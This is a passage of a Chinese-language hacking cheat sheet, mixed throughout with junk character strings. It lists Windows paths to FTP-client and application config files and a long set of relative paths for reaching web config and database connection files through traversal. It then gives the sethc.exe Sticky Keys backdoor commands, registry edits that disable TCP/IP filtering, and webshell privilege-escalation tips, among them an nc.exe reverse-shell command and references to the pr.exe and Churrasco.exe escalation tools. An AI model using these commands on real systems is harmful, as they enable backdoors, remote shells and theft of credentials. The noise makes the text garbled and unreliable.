C:\Program Files\LeapFTP 3.0\LeapFTP.exe
/ N3 Y" V  W- @$ d: o/ bC:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
! `$ a% y1 J8 X" ]' F8 Z; \- vc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
, g. i: @- v) n" z, F9 ^C:\Program Files\FlashFXP\FlashFXP.ini
; a9 v: q8 q' N3 I, tC:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
% O8 {2 ]" G! s( zc:\Program Files\腾讯游戏\QQGAME\readme.txt
: D1 |- q" Z3 Q. I: B0 |: ic:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
1 [8 e9 b3 r* ^0 \" n, }; B5 ?2 qC:\Program Files\StormII\Storm.exe

3.网站相对路径:

/config.php
$ M5 T- h) ^8 S( S* d../../config.php
1 \" s! F- K8 Z9 N% U) e../config.php
3 l0 v: f5 c: L. N8 t; {6 B' s- V5 Q; g../../../config.php
( e4 J2 v  D* b. \7 {' H2 O1 z/config.inc.php
! y3 G! @; h6 J/ R./config.inc.php
../../config.inc.php
% c9 f  x& R" x../config.inc.php
../../../config.inc.php
9 O( J0 z: F. H5 g7 o& N! k- Q' V+ m/conn.php
$ K! ]3 r. u/ H5 N9 V4 J./conn.php
0 ]$ A9 a6 ]9 l; w0 D( u../../conn.php
0 ^9 l( {7 b& J4 }4 s- c8 q../conn.php
../../../conn.php
( b' |3 w' T9 X4 J; \/conn.asp
# J) w5 {  Z4 M* F./conn.asp
% g: l) z+ t+ F7 d8 W. |../../conn.asp
../conn.asp
../../../conn.asp
/config.inc.php
3 n; ^# M! G6 `. d./config.inc.php
0 L' M: k$ \! k* a4 l$ S../../config.inc.php
; l1 h& K' h" i! {( r../config.inc.php
../../../config.inc.php
0 M+ j% @* f( r& d4 b/config/config.php
- V) q, p, g- P$ w( g  R3 `( L../../config/config.php
../config/config.php
../../../config/config.php
/config/config.inc.php
4 ~$ D4 i7 q: \./config/config.inc.php
3 @) _4 v7 Z' U2 n../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
7 H. Y& x- H# n7 Y3 h1 a! q$ f/config/conn.php
./config/conn.php
4 P+ f5 t& \: G2 U1 \1 K! T* N../../config/conn.php
3 z3 K1 _5 {/ E" O: V" P* S../config/conn.php
2 [% S# v3 w* s& y( O../../../config/conn.php
/config/conn.asp
./config/conn.asp
6 u) X9 e% a0 t% M! `../../config/conn.asp
../config/conn.asp
../../../config/conn.asp
( r# R0 f6 J8 |* E6 M/config/config.inc.php
/ x( }0 G& f, t4 p- D7 N; U9 g./config/config.inc.php
5 a" o- o+ a6 [5 G, A( U5 i8 W6 A../../config/config.inc.php
../config/config.inc.php
2 L, O' V- p7 F2 X* h  f0 Z' s) A../../../config/config.inc.php
/data/config.php
7 @3 g! Z2 C- @4 x" U! z! |+ z../../data/config.php
../data/config.php
../../../data/config.php
; z! V" m7 k# |# a- C- x# l/data/config.inc.php
./data/config.inc.php
6 q; j7 {# M. l# K5 t3 R* q7 k../../data/config.inc.php
2 U- m6 V& [/ d$ n9 \../data/config.inc.php
7 W" S9 H7 \0 r../../../data/config.inc.php
/data/conn.php
./data/conn.php
../../data/conn.php
6 U9 t# n# x, X" z  d../data/conn.php
6 c1 F/ `; T. n# f7 {  ~$ ?../../../data/conn.php
/data/conn.asp
4 p% I! t2 h2 U) K7 H, i0 p2 i./data/conn.asp
4 K* o# \! Y1 ~" w' r  ^& }' t2 }, d../../data/conn.asp
../data/conn.asp
  {$ `% Z' T# V../../../data/conn.asp
/data/config.inc.php
7 y: z) H. k2 z3 {. F./data/config.inc.php
8 {; E+ R) d5 n  T+ B../../data/config.inc.php
../data/config.inc.php
8 o$ w+ [: P; {8 Y' F& k3 L../../../data/config.inc.php
) M; t' J9 f0 J( b0 V/ W2 f/include/config.php
../../include/config.php
../include/config.php
../../../include/config.php
/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
# r- `4 Q6 p6 O9 b/ k../include/config.inc.php
../../../include/config.inc.php
# U. D. Y2 ~# N* ^' j- E1 I" S/include/conn.php
# T$ m5 Y: A2 e2 S; r0 h./include/conn.php
../../include/conn.php
../include/conn.php
3 v0 j8 G; s5 y+ l% F: U/ z* [../../../include/conn.php
. J+ j8 {8 z# c/include/conn.asp
./include/conn.asp
../../include/conn.asp
../include/conn.asp
% H" F0 V8 M& g% l5 H& K../../../include/conn.asp
8 M  t. I4 ?( ?+ P7 N$ [7 R/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
+ d% |- r. v5 Q' e" |, T../../../include/config.inc.php
: V4 U9 Q$ x' [% d  u  [2 f/inc/config.php
9 i, L' x- F5 N& Z; Y; a& O../../inc/config.php
. y2 V2 O% d/ ^6 m- D5 M../inc/config.php
../../../inc/config.php
3 V, D1 H1 Q; I3 j/inc/config.inc.php
./inc/config.inc.php
0 V  ?' O7 ~' W. d0 C8 g$ {../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
./inc/conn.php
. t' H, R/ _8 c3 v8 k/ B../../inc/conn.php
4 |" V/ P  k/ g1 n+ A; k../inc/conn.php
, M$ m  l7 T) R) d9 v: [8 G../../../inc/conn.php
/inc/conn.asp
./inc/conn.asp
../../inc/conn.asp
) V' n0 I' ~3 R: {../inc/conn.asp
3 B6 s& c" I) B& Q6 \- s9 z8 v3 |../../../inc/conn.asp
4 I5 j" a1 F  I! f4 a: z/inc/config.inc.php
8 u+ w  ]4 L) l( F+ l9 r3 @./inc/config.inc.php
$ B; k4 J, E4 y2 T- z3 E0 G' F../../inc/config.inc.php
+ X. [; K6 ?: ~5 U, E& N- a../inc/config.inc.php
, L! q' B% P7 j5 |! H1 r& O../../../inc/config.inc.php
9 n2 P" R, r: Y/ i* I* K, K/index.php
0 O8 N( \, b' E2 a2 w3 Z./index.php
../../index.php
* R/ a  j1 y7 |5 N! k6 M% c6 Z../index.php
) s, k' t. l5 P5 Y. |3 a../../../index.php
/index.asp
./index.asp
! u1 _' F7 z& G  c* z: {../../index.asp
../index.asp
../../../index.asp
9 }' X' [1 g+ A9 N4 J/ I替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s
$ R3 e: `: V  Y# T. L7 U  r
" S- o+ l, M) R9 l& K/ W　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
! C3 @1 `8 b5 H1 e) u
　　del c:\windows\system32\sethc.exe
  n3 h! R4 i/ q- p7 R; L# J/ Z$ Q/ N
　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

& f) C' o  N1 O6 X# p. n2 N5 @　　attrib c:\windows\system32\sethc.exe +h +r +s

　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
- u) O7 v) B# f% c' j+ i$ V" d9 wTCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
, K. i' @0 E$ ^& Q9 bHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

8 v  g/ \; C( J& n: ^' f+ e) _分别用
1 ~% t0 h, Z+ c/ ~6 P9 zregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
/ t4 i$ _8 B& r' H6 mregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
( C. H7 W" H7 T- b2 @命令来导出注册表项

& t/ n9 w7 N. H# v1 j" O% o5 D然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

再将以上三个文件分别用
7 F/ D1 T; b8 e- N0 K, pregedit -s D:\a.reg
regedit -s D:\b.reg
+ z9 O# A3 `! }7 `regedit -s D:\c.reg
导入注册表即可
' P7 T  z; t7 j' M* b( [3 l4 G
3 R4 ^/ S+ m5 y) s6 jwebshell提权小技巧
cmd路径:
$ _8 D# ?' Y* Y; s: y1 g! Dc:\windows\temp\cmd.exe
" T: S8 ^. y2 ?3 E) j& j* d2 P. ync也在同目录下
( |9 i2 y. q2 i/ l* k& h  Y例如反弹cmdshell：
9 q7 J  [- d  U: {9 P"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。

而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
' L' {7 X6 V1 T* n命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
& C8 O& K( T6 c5 P却能成功。。
+ O; a- C' s- |9 S5 }这个不是重点
/ }) I5 Q  w0 l' F( L* y我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功